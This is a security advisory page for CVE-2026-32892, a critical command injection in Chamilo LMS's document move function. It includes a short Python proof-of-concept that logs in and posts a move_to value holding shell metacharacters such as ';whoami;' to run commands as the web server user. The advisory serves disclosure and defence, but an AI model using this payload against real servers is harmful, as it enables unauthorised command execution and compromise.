Security Vulnerability Report
中文
CVE-2026-32892 CVSS 9.1 CRITICAL

CVE-2026-32892

Published: 2026-04-10 18:16:42
Last Modified: 2026-04-17 21:30:51

Description

Chamilo LMS is a learning management system. Prior to 1.11.38 and 2.0.0-RC.3, Chamilo LMS contains an OS Command Injection vulnerability in the file move function. The move() function in fileManage.lib.php passes user-controlled path values directly into exec() shell commands without using escapeshellarg(). When a user moves a document via document.php, the move_to POST parameter — which only passes through Security::remove_XSS() (an HTML-only filter) — is concatenated directly into shell commands such as exec("mv $source $target"). By default, Chamilo allows all authenticated users to create courses (allow_users_to_create_courses = true). Any user who is a teacher in a course (including self-created courses) can move documents, making this vulnerability exploitable by any authenticated user. The attacker must first place a directory with shell metacharacters in its name on the filesystem (achievable via Course Backup Import), then move a document into that directory to trigger arbitrary command execution as the web server user (www-data). This vulnerability is fixed in 1.11.38 and 2.0.0-RC.3.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:* - VULNERABLE
Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a conceptual PoC based on the vulnerability description. # Target URL configuration target_url = "http://vulnerable-host/chamilo/main/document/document.php" login_url = "http://vulnerable-host/chamilo/login.php" # Attacker credentials username = "attacker" password = "password" # Step 1: Authenticate and obtain session session = requests.Session() login_data = {"login": username, "password": password} session.post(login_url, data=login_data) # Step 2: The attacker must have previously created a directory with shell metacharacters # via Course Backup Import (e.g., a directory named ";touch /tmp/pwned;"). # Assuming the malicious directory path is known: malicious_dir = "/courses/ATTACKER/document/;whoami;" # Step 3: Trigger the vulnerability by moving a document into the malicious directory payload = { "move_to": malicious_dir, "id": "123" # ID of a document the attacker has access to move } response = session.post(target_url, data=payload) if response.status_code == 200: print("Request sent. Check if command was executed.") else: print("Failed to send request")

References

Raw JSON Data

JSON
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